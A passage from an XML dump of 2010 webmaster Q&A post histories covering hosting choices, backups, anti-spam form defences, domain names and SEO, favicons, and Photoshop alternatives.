luck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6946" PostHistoryTypeId="2" PostId="3540" RevisionGUID="5f8dac3c-e8fb-463c-9d17-e6452312df68" CreationDate="2010-10-05T15:08:01.990" UserId="1074" Text="I'm a big fan of HostGator.  It's simple, unlimited everything (so it seems) and they have bent over backward to accommodate special requests.  And you can't go wrong at their prices, especially for a &quot;playground&quot; type site.  I currently send all my non-enterprise level clients there.  In fact, I'm in the process of moving several dev servers there because they offer all I need at a ridiculously low price.&#xD;&#xA;&#xD;&#xA;If money was no object, I'd jump in a heartbeat to AISO.net.  Not only is their virtualized solution amazing and immediate to reboot, but the service includes hourly snapshots....and is 100% on-site wind and solar powered.  How cool is that?" />
  <row Id="6947" PostHistoryTypeId="2" PostId="3541" RevisionGUID="fc1682bb-6144-4e29-aede-a65360262d7d" CreationDate="2010-10-05T16:34:35.490" UserId="1074" Text="Possibly rethink your overall backup.....&#xD;&#xA;&#xD;&#xA;1)  Do ALL the files change quite a bit?  On my company's app, there's a couple of folders that get updated frequently, the others, VERY infrequently.  So we only do daily backups of the files that change.  ++Big Bandwidth Savings&#xD;&#xA;&#xD;&#xA;2)  Doesn't the host offer some solution?  I'm a big fan of AISO.net...they will do hourly snapshots as part of the solution.  Other hosting offers nightly backups as part of the solution.&#xD;&#xA;&#xD;&#xA;3)  1GB is a LOT of data...certainly more media than application files.  Could you split out media hosting to an easier to backup solution?  Perhaps serve up media via the cloud?&#xD;&#xA;&#xD;&#xA;4)  Can anything be optimized for quicker delivery AND save you time with the backup?  A recent audit of my app found HUGE file size improvements with basic optimization practices. ++big bandwidth AND backup savings&#xD;&#xA;&#xD;&#xA;5)  Can anything be deleted?  Sounds silly, but many companies leave huge folders of garbage out there.  Spring cleaning anyone?&#xD;&#xA;&#xD;&#xA;Really, any quality host with shell access could be used to park files.  You could easily build a cron to upload to a GoDaddy or HostGator account or the like, though you'd want to check TOS to make sure it was kosher." />
  <row Id="6948" PostHistoryTypeId="2" PostId="3542" RevisionGUID="23ac3790-7943-447d-8dbe-2cb9e33b04e3" CreationDate="2010-10-05T17:41:48.877" UserId="71" Text="Looking for a tutorial re implementation of this functionality.&#xD;&#xA;&#xD;&#xA;I can only find blog posts saying that gmail added this, but not how it was done. " />
  <row Id="6949" PostHistoryTypeId="1" PostId="3542" RevisionGUID="23ac3790-7943-447d-8dbe-2cb9e33b04e3" CreationDate="2010-10-05T17:41:48.877" UserId="71" Text="HTML 5 drag and drop file attachment?" />
  <row Id="6950" PostHistoryTypeId="3" PostId="3542" RevisionGUID="23ac3790-7943-447d-8dbe-2cb9e33b04e3" CreationDate="2010-10-05T17:41:48.877" UserId="71" Text="&lt;google&gt;&lt;javascript&gt;&lt;html5&gt;" />
  <row Id="6951" PostHistoryTypeId="2" PostId="3543" RevisionGUID="a3fba040-7468-45c4-a5b7-5ce36ea228a8" CreationDate="2010-10-05T17:45:41.360" UserId="1253" Text="Just read this the other day: [How Gmail’s drag and drop works and why it’s not supported in Safari][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thecssninja.com/javascript/gmail-upload" />
  <row Id="6952" PostHistoryTypeId="2" PostId="3544" RevisionGUID="4701745c-23c3-4e3f-a583-d8d76cdf5053" CreationDate="2010-10-05T18:13:41.643" UserId="1585" Text="I remember [a site closed](http://rafb.net/paste/) due to misuse and i wonder if bots have a part of it. If the bot is POSTing something to my site what are ways i can combat it? I was thinking of setting some cookies and having the cookies changed via javascript + timestamp and sign (so yesterdays cookies cant be used today and next week).&#xD;&#xA;&#xD;&#xA;I'm sure most people/bots would just use another site instead of enabling JS in their bot.&#xD;&#xA;&#xD;&#xA;What else can i do? I'm thinking daily POST limit and a honeypot for generic bots who just randomly post spam&#xD;&#xA;" />
  <row Id="6953" PostHistoryTypeId="1" PostId="3544" RevisionGUID="4701745c-23c3-4e3f-a583-d8d76cdf5053" CreationDate="2010-10-05T18:13:41.643" UserId="1585" Text="Make your site anti-bot?" />
  <row Id="6954" PostHistoryTypeId="3" PostId="3544" RevisionGUID="4701745c-23c3-4e3f-a583-d8d76cdf5053" CreationDate="2010-10-05T18:13:41.643" UserId="1585" Text="&lt;website-design&gt;" />
  <row Id="6955" PostHistoryTypeId="2" PostId="3545" RevisionGUID="b39a1f0e-55a2-45fd-930c-87dea881ea90" CreationDate="2010-10-05T18:34:28.680" UserId="1253" Text="You could do several things including:&#xD;&#xA;&#xD;&#xA;1) Putting a fake field that only bots will see. Then if that field is submitted with the rest of the form you can ignore it. (A honeypot like you mentioned).&#xD;&#xA;&#xD;&#xA;2) Use a CAPATCHA like [reCAPTCHA][1] &#xD;&#xA;&#xD;&#xA;3) Use a field that requires the user to answer a question like what is 5 + 3. Any human can answer it but a bot won't know what to do since it is auto-populating fields based on field names. So that field will be either incorrect or missing in which case the submission will be rejected.&#xD;&#xA;&#xD;&#xA;4) Use a token and put it into a session and also add it to the form. If the token is not submitted with the form or doesn't match then it is automated and can be ignored.&#xD;&#xA;&#xD;&#xA;5) Look for repeated submissions from the same IP address. If your form shouldn't get too many requests but suddenly is it probably is being hit by a bot and you should consider temporarily blocking the IP address.&#xD;&#xA;&#xD;&#xA;6) Use [Askimet][1]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://akismet.com/" />
  <row Id="6956" PostHistoryTypeId="5" PostId="3545" RevisionGUID="a918d71a-ea34-4599-adad-4d4cb61a40b6" CreationDate="2010-10-05T18:48:57.380" UserId="1253" Comment="added 129 characters in body" Text="You could do several things including:&#xD;&#xA;&#xD;&#xA;1) Putting a fake field that only bots will see. Then if that field is submitted with the rest of the form you can ignore it (and ban them if desired). You can also [trap bad bots who follow a hidden link][1].&#xD;&#xA;&#xD;&#xA;2) Use a CAPATCHA like [reCAPTCHA][2] &#xD;&#xA;&#xD;&#xA;3) Use a field that requires the user to answer a question like what is 5 + 3. Any human can answer it but a bot won't know what to do since it is auto-populating fields based on field names. So that field will be either incorrect or missing in which case the submission will be rejected.&#xD;&#xA;&#xD;&#xA;4) Use a token and put it into a session and also add it to the form. If the token is not submitted with the form or doesn't match then it is automated and can be ignored.&#xD;&#xA;&#xD;&#xA;5) Look for repeated submissions from the same IP address. If your form shouldn't get too many requests but suddenly is it probably is being hit by a bot and you should consider temporarily blocking the IP address.&#xD;&#xA;&#xD;&#xA;6) Use [Askimet][3]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kloth.net/internet/bottrap.php&#xD;&#xA;  [2]: http://recaptcha.com/&#xD;&#xA;  [3]: http://akismet.com/" />
  <row Id="6957" PostHistoryTypeId="2" PostId="3546" RevisionGUID="3b27ce7b-b0ee-4d5e-be9c-9953f439466b" CreationDate="2010-10-05T19:13:27.490" UserId="1757" Text="John Conde outlines a lot of good approached. The problem with choosing an anti-bot/anti-spam technique is balancing effectiveness and convenience. It would be really inconvenient to have to fill out a CAPTCHA every time you want to post a comment or message, but if you only require a CAPTCHA on signup, then sometimes that doesn't deter spammers.&#xD;&#xA;&#xD;&#xA;Some of the passive techniques are a good alternative, since they don't require any human action. The problem is that bots are getting more and more sophisticated, and if bots can solve CAPTCHAs, then they can certainly process JS and CSS. So you'll need to exercise a little ingenuity, such as using less-obvious CSS to hide your bot-trap fields.&#xD;&#xA;&#xD;&#xA;But based on your question, I think you probably realize that the point isn't to create a bot-proof site, but just to create enough of a deterrent that bot users will simply choose other easier targets. So what is required here will vary from site to site, and will likely require some trial and error testing. I would try the least obtrusive techniques first.&#xD;&#xA;&#xD;&#xA;Lastly, another way you can de-spam your site is to use peer moderation to remove any bot-submitted comments or manually submitted spam that slips through. " />
  <row Id="6958" PostHistoryTypeId="2" PostId="3547" RevisionGUID="8287bb38-f21a-4d0a-aa01-bbd42e90c2a1" CreationDate="2010-10-05T19:13:36.943" UserId="2059" Text="I use [JungleDisk][1] ($5 / month) and [Amazon S3][2] (extremely affordable) to do nightly backups.  The great thing about the setup is that JungleDisk can be configured so that you are only backing up CHANGES to your files.  That way, if a file doesn't change from one day to the next it doesn't get backed up.  &#xD;&#xA;&#xD;&#xA;There is free software that can be used in conjunction with a cloud storage service like Amazon as well.  [RSync][3] is thrown around quite a bit, although implementation is obviously a little more technical.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jungledisk.com/business/&#xD;&#xA;  [2]: http://aws.amazon.com/s3/&#xD;&#xA;  [3]: http://www.samba.org/rsync/" />
  <row Id="6959" PostHistoryTypeId="2" PostId="3548" RevisionGUID="00deba0d-c5e8-4f69-9db4-5df670248ba8" CreationDate="2010-10-05T19:22:45.830" UserId="1955" Text="Most people advice to buy a domain name that exactly matches your main business field. For example if you sell computers the best one will probably be computers.com but with millions(maybe billions) of website all over the web the chance the perfect domain for you to be free is (lets be hones) less than zero. So you have to satisfy yourself with something else like company-name-computers.com or just company-name.com.  &#xD;&#xA;So the question is how much does this counts when the search engines calculate your website position in SERPs cause I have always thought that having high quality and related content, pretty URLs and back-links from valuable sources is more important then the domain name itself." />
  <row Id="6960" PostHistoryTypeId="1" PostId="3548" RevisionGUID="00deba0d-c5e8-4f69-9db4-5df670248ba8" CreationDate="2010-10-05T19:22:45.830" UserId="1955" Text="How important is the domain name for SEO" />
  <row Id="6961" PostHistoryTypeId="3" PostId="3548" RevisionGUID="00deba0d-c5e8-4f69-9db4-5df670248ba8" CreationDate="2010-10-05T19:22:45.830" UserId="1955" Text="&lt;seo&gt;&lt;domains&gt;&lt;web-development&gt;&lt;serps&gt;" />
  <row Id="6962" PostHistoryTypeId="2" PostId="3549" RevisionGUID="4d084355-d3e9-4c6f-860b-ae02e7eea012" CreationDate="2010-10-05T19:28:14.573" UserId="1253" Text="The domain name is important but not the end-all and be-all of SEO. If you can get a domain name with good keywords in it you will definitely have an advantage over someone with the similar content who does not. ***BUT*** you can overcome not having a good domain name with quality content, good URLs, etc. as they all are factors and can help you overcome the lack of a good domain name (especially if you have quality incoming links).  " />
  <row Id="6963" PostHistoryTypeId="2" PostId="3550" RevisionGUID="32df4924-1aa3-414e-90ea-856347a4660a" CreationDate="2010-10-05T19:29:33.997" UserId="2223" Text="I have a Wordpress blog hosted on my domain.  I have redirected a URL to a subfolder of my domain where the blog is installed.  How can I get a specific favicon to appear for that blog but NOT for my primary website?  The favicon appears if I use:&#xD;&#xA;&#xD;&#xA;www.kleymeyer.com/laketravisparents&#xD;&#xA;&#xD;&#xA;but not if navigating using the redirected site:&#xD;&#xA;&#xD;&#xA;www.laketravisparents.com&#xD;&#xA;&#xD;&#xA;And very annoyingly, only with the Chrome browser, the Time Warner RoadRunner icon will appear as a favicon when using www.laketravisparents.com !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6964" PostHistoryTypeId="1" PostId="3550" RevisionGUID="32df4924-1aa3-414e-90ea-856347a4660a" CreationDate="2010-10-05T19:29:33.997" UserId="2223" Text="How do you make a favicon appear on a redirected site?" />
  <row Id="6965" PostHistoryTypeId="3" PostId="3550" RevisionGUID="32df4924-1aa3-414e-90ea-856347a4660a" CreationDate="2010-10-05T19:29:33.997" UserId="2223" Text="&lt;html&gt;&lt;favicon&gt;&lt;redirects&gt;" />
  <row Id="6966" PostHistoryTypeId="2" PostId="3551" RevisionGUID="c84ba229-6fab-4961-8e8a-5d3dc18896f7" CreationDate="2010-10-05T19:31:26.557" UserId="2059" Text="A list in order-of-importance would be impossible to create if we were hoping for any long term credibility, but yes, SEO does factor into SERPs and no, it's not going to ruin your SEO strategy if you use a non-relevant domain name.&#xD;&#xA;&#xD;&#xA;With social marketing, quality content, clean code, etc. it's quite possible to get ranked well if you know what you're doing.  You're certainly not going to be penalized if your domain isn't keyword heavy.  &#xD;&#xA;&#xD;&#xA;It's 2010.  Domains are scarce.  Most new services are inventing words and mashing things together in a way that algorithms can't possibly find relevance in.  Pick a domain that's marketable first, good for SEO second.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6967" PostHistoryTypeId="2" PostId="3552" RevisionGUID="d395c4eb-bdf0-4d03-8770-0e2a8d6e272e" CreationDate="2010-10-05T19:35:16.237" UserId="2059" Text="yes, but with steps:&#xD;&#xA;&#xD;&#xA;http://www.ehow.com/how_6811011_use-p_o_-box-google-adsense.html" />
  <row Id="6968" PostHistoryTypeId="2" PostId="3553" RevisionGUID="288b0ee5-2ad1-44c7-9521-0680a3ac114e" CreationDate="2010-10-05T20:34:56.950" UserId="2224" Text="I asked this on serverfault and was recommended to try here, so I'm reposting this.&#xD;&#xA;&#xD;&#xA;Is it still valuable to have a shorter domain name? My company site is currently located at nexustechnologiesllc.com and I have the opportunity to buy nexusllc.com, but I'm really torn on the value of said domain. Shorter names obviously used to be much more valuable because people were more likely to type in a domain name, but now, with everyone pretty much searching, that value seems to be reduced.&#xD;&#xA;&#xD;&#xA;The other aspect that I'm considering with this is typing in an email address, because people might still be typing that in semi-regularly. But again, I'm not sure how important that aspect is either." />
  <row Id="6969" PostHistoryTypeId="1" PostId="3553" RevisionGUID="288b0ee5-2ad1-44c7-9521-0680a3ac114e" CreationDate="2010-10-05T20:34:56.950" UserId="2224" Text="Value of shorter domain names" />
  <row Id="6970" PostHistoryTypeId="3" PostId="3553" RevisionGUID="288b0ee5-2ad1-44c7-9521-0680a3ac114e" CreationDate="2010-10-05T20:34:56.950" UserId="2224" Text="&lt;domain-names&gt;" />
  <row Id="6971" PostHistoryTypeId="2" PostId="3554" RevisionGUID="6b305302-8ad0-4fa8-91c5-1ecd6924395c" CreationDate="2010-10-05T21:00:19.167" UserId="1253" Text="A shorter name is good for usability as it is easier to remember and type into a browser's address bar. Other then that it really doesn't have much else, if anything, to offer (that I can think of off the top of my head). &#xD;&#xA;&#xD;&#xA;If you're considering purchasing an existing name (at a higher then new registration price) or using an alternative TLD (i.e. not a .com) it's a trade off between usability (shorter name is good) and cost/recognizability (higher price or uncommon TLD is not so good). It's up top you to decide which is more important to your business." />
  <row Id="6972" PostHistoryTypeId="2" PostId="3555" RevisionGUID="05d2ebde-62ba-4e0d-aaff-e26910f241d0" CreationDate="2010-10-05T21:18:21.950" UserId="1757" Text="That's a tough question. Obviously, it's always best to keep your domain name as short as possible, and domain names beyond 25-30 characters are probably too long to be practical.&#xD;&#xA;&#xD;&#xA;From a business perspective, the fewer obstacles you put between your customers and your business, the better off you'll be. For instance, if I receive an e-mail containing a mistyped url (because the sender misremembered the long domain name), I might just blow it off and move on. Also, in your specific case, there are quite a few companies with the name &quot;Nexus Technologies&quot; so you may not want people to have to search for that name (unless you're ranked #1 on Google for that term).&#xD;&#xA;&#xD;&#xA;That said however, I think nexustechnologiesllc.com is right within the borderline of acceptability. It's long, but not hard to remember. You might want to see if you can grab nexustechnologylcc.com or buy nexus-llc.com or nexusllc.net (both currently available) to make things a little easier for customers, but I wouldn't worry too much about it otherwise.&#xD;&#xA;&#xD;&#xA;I would NOT buy a domain name from a domain squatter/prospector/resellers/etc. Remember, they're the reason we're running out of good domain names, and probably the reason you needed to add llc to your domain name. In fact, both nexusllc.com and nexustechnologies.com are owned by squatters/resellers. So buying domains from them for hundreds of dollars is like clicking on spam and encouraging more spam. Just don't do it." />
  <row Id="6973" PostHistoryTypeId="2" PostId="3556" RevisionGUID="4d5f88e0-b049-4e7e-9ff6-cf33e340ef4a" CreationDate="2010-10-05T21:24:01.217" UserId="1064" Text="     &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.example.com/myicon.ico&quot;&gt;&#xD;&#xA;&#xD;&#xA;- [Favicon entry @ Wikipedia.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon" />
  <row Id="6974" PostHistoryTypeId="2" PostId="3557" RevisionGUID="459527a6-9ba3-4972-ba4a-7f88be9d3e56" CreationDate="2010-10-05T21:44:00.897" UserId="1585" Text="(http://www.linode.com/ || http://www.vpslink.com/) + http://blog.ruski.co.za/page/Install-Mono-on-Ubuntu.aspx == WIN. Just note if your using vpslink you'll need to learn how to tweak apache memory settings down and if your using linode you need to reset the linux password via web interface which you wont notice unless you look around and look for it.&#xD;&#xA;" />
  <row Id="6975" PostHistoryTypeId="2" PostId="3558" RevisionGUID="0636c844-1b57-4d44-a493-67ec758b6daf" CreationDate="2010-10-05T21:55:31.410" UserId="1847" Text="Using 301 redirects from `foo.com/bar.html` to `www.foo.com/` effectively nullifies any benefit the link to `foo.com/bar.html` would have given you. Ideally you should - as mentioned above - find a way to redirect to the exact page on the `www.foo.com/` site with either code or request your sysadmin / provider to create a better .htaccess/redirect for you to use." />
  <row Id="6976" PostHistoryTypeId="10" PostId="3394" RevisionGUID="88cdf929-71ba-4850-a80c-1c71bc55e5d3" CreationDate="2010-10-05T22:39:42.727" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="6977" PostHistoryTypeId="16" PostId="3524" RevisionGUID="ede77d36-844b-4093-a427-c483b8b40225" CreationDate="2010-10-05T22:40:49.470" UserId="180" />
  <row Id="6978" PostHistoryTypeId="2" PostId="3559" RevisionGUID="51a7e1c0-0160-4480-8715-c012a8065897" CreationDate="2010-10-06T04:07:30.330" UserDisplayName="MikeK2" Text="http://www.alertfox.com has free and paid account. What I like about this service is that it offers transaction monitoring in real web browsers (IE, Firefox and Chrome). So we can use it to monitor our Flash games, too." />
  <row Id="6979" PostHistoryTypeId="2" PostId="3560" RevisionGUID="606952dd-ac73-4410-9698-384b8f14d4e3" CreationDate="2010-10-06T04:14:57.853" UserDisplayName="MikeK2" Text="http://www.alertfox.com has free and paid accounts. What I like about this service is that it offers transaction monitoring in real web browsers (IE, Firefox *and* Chrome). We use it to monitor our website including the *Flash* games." />
  <row Id="6981" PostHistoryTypeId="2" PostId="3562" RevisionGUID="15e2eb8e-ae0e-40ac-aaff-b3d9630eb510" CreationDate="2010-10-06T04:20:43.840" UserId="2059" Text="Very few smallish video sites are turning a profit and, arguably, very few of the large ones would exist if it weren't for their corporate backing to absorb costs associated with scaling along the way.&#xD;&#xA;&#xD;&#xA;I would argue though that the niche sites that have a strong core audience have a better chance to target advertising in a way that converts (i.e. if you had a video site full of videos of babies doing cute things you could safely assume advertising for baby products would make more money per view than if you put the same ads on, say, vimeo)." />
  <row Id="6982" PostHistoryTypeId="2" PostId="3563" RevisionGUID="107c1236-e72b-4a41-aa8f-60d40f4a89c7" CreationDate="2010-10-06T04:23:00.090" UserDisplayName="MikeK2" Text="Mozy is good and costs $5/month. I can recommend it." />
  <row Id="6983" PostHistoryTypeId="2" PostId="3564" RevisionGUID="807ccc25-f9d9-4d87-b16e-334b5c36f75b" CreationDate="2010-10-06T04:30:30.990" UserDisplayName="MikeK2" Text="Try Amazon EC2 micro instances! IMHO the best VPS solution available at the moment!" />
  <row Id="6984" PostHistoryTypeId="2" PostId="3565" RevisionGUID="06a47f40-3350-4614-8fcc-f8b10acd6e9c" CreationDate="2010-10-06T04:36:59.070" UserDisplayName="MikeK2" Text="Google now also checks website **performance** as a speed indicator. So I recommend to sign up for a website monitoring service like Gomez, Keynote or AlertFox. We use AlertFox. They have free accounts, too. So everybody should use website monitoring these days.&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6985" PostHistoryTypeId="2" PostId="3566" RevisionGUID="1190d350-eb00-40d8-be8d-1198c6d42264" CreationDate="2010-10-06T05:15:38.830" UserId="13" Text="For Drupal 6.x is there a module that makes it a requirement that the user check a check box before logging in?&#xD;&#xA;&#xD;&#xA;The site needs to require every user to accept the Terms and Conditions at each login, not just at registration.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6986" PostHistoryTypeId="1" PostId="3566" RevisionGUID="1190d350-eb00-40d8-be8d-1198c6d42264" CreationDate="2010-10-06T05:15:38.830" UserId="13" Text="Drupal module to require checkbox at login" />
  <row Id="6987" PostHistoryTypeId="3" PostId="3566" RevisionGUID="1190d350-eb00-40d8-be8d-1198c6d42264" CreationDate="2010-10-06T05:15:38.830" UserId="13" Text="&lt;drupal&gt;" />
  <row Id="6988" PostHistoryTypeId="2" PostId="3567" RevisionGUID="b6beb3b1-8788-423d-a738-ff30fb562486" CreationDate="2010-10-06T05:36:27.347" UserId="2227" Text="Ive been looking over the net for Photoshop alternatives, but all I have been getting is &quot;photo-editing&quot; software alternatives, Gimp, and Photoshop Elements, are basically the two I keep getting, unfortunately that is not what I'm looking for...&#xD;&#xA;&#xD;&#xA;I, like all of you web designers, use Photoshop to fine tune the interface, I could not make rounded corner tabs in Element! and Photoshop advertises web abilities in their higher rank Photoshop (Professional)! I just need to be able to quickly create wallpapers, ajdust them, slice a bit, iconize, path few corners, and of course TYPE (Gimp is very lacking in that area)... Any ideas?" />
  <row Id="6989" PostHistoryTypeId="1" PostId="3567" RevisionGUID="b6beb3b1-8788-423d-a738-ff30fb562486" CreationDate="2010-10-06T05:36:27.347" UserId="2227" Text="Web design software alternatives of Photoshop? not looking for photo-editing" />
  <row Id="6990" PostHistoryTypeId="3" PostId="3567" RevisionGUID="b6beb3b1-8788-423d-a738-ff30fb562486" CreationDate="2010-10-06T05:36:27.347" UserId="2227" Text="&lt;design&gt;" />
  <row Id="6991" PostHistoryTypeId="2" PostId="3568" RevisionGUID="736a4036-08a6-4449-b9dc-233a0f44715f" CreationDate="2010-10-06T07:51:16.783" UserId="2026" Text="Photoshop is awsm. But you can try paint shop pro as an alternate." />
  <row Id="6992" PostHistoryTypeId="2" PostId="3569" RevisionGUID="1cd593c5-1c87-4f0e-91ca-9af9816848fd" CreationDate="2010-10-06T07:56:34.507" UserId="2026" Text="I found preloader for flash|swf files. preloader,lazyloader for images.But nothing for complete webpage.&#xD;&#xA;&#xD;&#xA;Some sites, like [mine][1], have big header and footer. I need some preloader for this. Please suggest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://article-stack.com" />
  <row Id="6993" PostHistoryTypeId="1" PostId="3569" RevisionGUID="1cd593c5-1c87-4f0e-91ca-9af9816848fd" CreationDate="2010-10-06T07:56:34.507" UserId="2026" Text="is there any webpage preloader?" />
  <row Id="6994" PostHistoryTypeId="3" PostId="3569" RevisionGUID="1cd593c5-1c87-4f0e-91ca-9af9816848fd" CreationDate="2010-10-06T07:56:34.507" UserId="2026" Text="&lt;javascript&gt;" />
  <row Id="6995" PostHistoryTypeId="2" PostId="3570" RevisionGUID="005830dc-3eeb-45c1-ad85-1da3e80288b7" CreationDate="2010-10-06T08:11:41.217" UserId="2228" Text="Seeing as no one suggested this yet, I've used [GoDaddy][1] for 3 years now and have had 3 dedicated servers with them. Server's are not that expensive and are actually quite reliable. They've also recently expanded their OS options as well so you actually have like 6 times the configuration options now than when I started with my first server.&#xD;&#xA;&#xD;&#xA;I'm currently paying $220/m for their &quot;64-bit Windows Memory Hog&quot; server and it's pretty powerful. Of course, it all depends on your needs.&#xD;&#xA;&#xD;&#xA;Oh, and if you know what you want and call them to order it, they might give you a discount on your first month, or year if you pre-pay.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/hosting/dedicated-servers.aspx?ci=9014" />
  <row Id="6996" PostHistoryTypeId="2" PostId="3571" RevisionGUID="54c2deb8-da37-4633-bdf9-bfbe7cfc0845" CreationDate="2010-10-06T08:24:54.053" UserId="2228" Text="`www.` sub domains are good if you're dealing with cookies because you can then have say a `resources.` sub domain and any cookies from `www.` will not transfer over thus reducing overhead and improving performance. This of course applies to a full blown website that you can actively manipulate.&#xD;&#xA;&#xD;&#xA;Also, I'm not sure what @DisgruntledGoat and @sholsinger are trying to say about the 301 redirect. 301 is permanent redirect and if you want to keep things permanent stick to it because your user's browsers will automatically hit the correct domain version every time they visit (except for the very first time).&#xD;&#xA;&#xD;&#xA;And lastly, I think you're saying your links are hard coded to a domain, why don't you make them relative: `/Something.html` so they are host independent. SEO will not be affected by it if you're worried about that." />
  <row Id="6997" PostHistoryTypeId="2" PostId="3572" RevisionGUID="37b11495-4b32-40bf-8bb3-d57938d905fd" CreationDate="2010-10-06T08:33:33.397" UserId="2228" Text="Since I can't comment, I'll just answer. I recommend GoDaddy, for $5/m you get a lot of capabilities that cover your needs. And ignoring it because you think the owner is a &quot;pervert&quot; just because he uses a sexual-ish marketing approach is childish. If it works it works...&#xD;&#xA;&#xD;&#xA;I've used them for 5 years now, but have switched to dedicated servers from them 3 years ago. As far as how fast they upgrade, it's gonna be just about the same for any large host like them because they don't just support .NET or PHP they support both and much more on top of the frameworks so they have to be careful with upgrades.&#xD;&#xA;&#xD;&#xA;If you're just gonna have a playground why don't you just run your projects on localhost? If you're on Windows 7 just setup IIS 7.5 add PHP, get SQL Server 2008 Express and MySql and you're all set for all you're playful needs." />
  <row Id="6998" PostHistoryTypeId="16" PostId="3572" RevisionGUID="37b11495-4b32-40bf-8bb3-d57938d905fd" CreationDate="2010-10-06T08:33:33.397" UserId="-1" />
  <row Id="6999" PostHistoryTypeId="2" PostId="3573" RevisionGUID="5d4b364e-8873-40e8-80f4-10f7ad01a4a2" CreationDate="2010-10-06T08:41:14.967" UserId="2228" Text="What provider are you using? If you don't care that much about it, you could initiate a transfer (free) to a better registrar such as GoDaddy or the like which will give you the DNS control you want." />
  <row Id="7000" PostHistoryTypeId="2" PostId="3574" RevisionGUID="b0c1614d-31b4-4be3-b842-8390df402c3a" CreationDate="2010-10-06T08:43:22.110" UserId="1703" Text="I wouldn't say Gimp is lacking in this area. I use it all the time and prefer it over PS, that being said I have an old version of PS. Perhaps you should take some time to do some Gimp tutorials and learn how to use the software properly. " />
  <row Id="7001" PostHistoryTypeId="2" PostId="3575" RevisionGUID="3b990f82-a8d1-4c26-88bc-a86e8ef95be9" CreationDate="2010-10-06T09:49:13.857" UserId="1757" Text="Photoshop is for a lot more than just photo editing. It's a full featured raster image editor. You can create any type of graphics with it, not just edit photos. In fact, there is a special edition of Photoshop, called Photoshop Lightroom, for those just interested in editing photos (OK, you could get by on Elements too). Photoshop is used by all kinds of graphic designers and artists. It's used by professional illustrators to create digital paintings; it's used by graphic designers to combine any combination of rendered 3D graphics with hand-drawn 2D graphics with photos with texts, such as in a magazine ad layout; it's even used by law enforcement for digital forensics.&#xD;&#xA;&#xD;&#xA;I don't know why you can't created rounded corners in Elements, but if you want alternatives just to see what else is out there, Fireworks is commonly used for designing web graphics, layouts, and creating wireframes. Alternatively, you could try vector imaging programs like Illustrator or Inkscape, but they're not suited to web design IMO (though for diagraming and wireframing they're great).&#xD;&#xA;&#xD;&#xA;The bottom line is, your use of a graphics editor is likely different from my use of a graphics editor, even if we're both doing web design. You want to be able to lay out type, create rounded corners, slice images, and create wallpapers (what does that mean and entail?), while for others just being able to position/align text and graphics using rulers and guides is enough. Meanwhile, more advanced graphic designers require more than what you need and expect to be able to create more involved designs (take a look at popular web design galleries on the web to see what's out there).&#xD;&#xA;&#xD;&#xA;So most image editors try to include the most commonly used features by all users. That means that no matter what program you pick, there will be features you don't use. All that matters is that nothing you need is missing. And frankly, it makes sense that a general-purpose image editor can also edit photos. Photos are just a class of images. And think of all the movie promo sites, band websites, photographer websites, designer websites, etc. that have photographs embedded in their layouts. Besides, most of Photoshop's features/tools are not specific to photo-editing anyway. It's not like there's a red-eye removal function or a sepia-tone filter or the crap you find in coin-operated photo booths." />
  <row Id="7002" PostHistoryTypeId="2" PostId="3576" RevisionGUID="5ba5363f-679f-4306-b166-c6b066d2da2c" CreationDate="2010-10-06T12:35:47.740" UserId="2229" Text="there is quite extensive discussion about this topic on another website and I am really losing my confidence. The thing is that I claim that the amount (count) of visits is NOT a criteria for increasing the PR of the particular web because:&#xD;&#xA;&#xD;&#xA;a) Google just doesn't know about every single visit on a webpage (in case it's not using GA)&#xD;&#xA;&#xD;&#xA;b) Google just would not rate by something what Google actually affects&#xD;&#xA;&#xD;&#xA;Thanks for your opinions.&#xD;&#xA;&#xD;&#xA;Peter." />
  <row Id="7003" PostHistoryTypeId="1" PostId="3576" RevisionGUID="5ba5363f-679f-4306-b166-c6b066d2da2c" CreationDate="2010-10-06T12:35:47.740" UserId="2229" Text="Does Google rate the webpage by amount of visits?" />
  <row Id="7004" PostHistoryTypeId="3" PostId="3576" RevisionGUID="5ba5363f-679f-4306-b166-c6b066d2da2c" CreationDate="2010-10-06T12:35:47.740" UserId="2229" Text="&lt;google&gt;" />
  <row Id="7005" PostHistoryTypeId="2" PostId="3577" RevisionGUID="ec7472c9-6126-4e31-91db-17c76f3b6ddc" CreationDate="2010-10-06T13:05:51.717" UserId="1253" Text="No. They do not. And your logic is spot on. &#xD;&#xA;&#xD;&#xA;- They don't know how much traffic any sites gets unless it is using Google Analytics which is only a tiny portion of all websites.&#xD;&#xA;&#xD;&#xA;- Traffic is not an indicator of content quality or relevance. &#xD;&#xA;&#xD;&#xA;- It can be easily manipulated. You can have your own bots reload your pages constantly or run an ad campaign that boosts your traffic. neither of which mean your site is any good.&#xD;&#xA;&#xD;&#xA;- It's a self fulfilling prophecy. Sites that rank #1 in Google will get more traffic then the sites below it. As a result it will get more traffic which will help keep it ranked above the other sites. " />
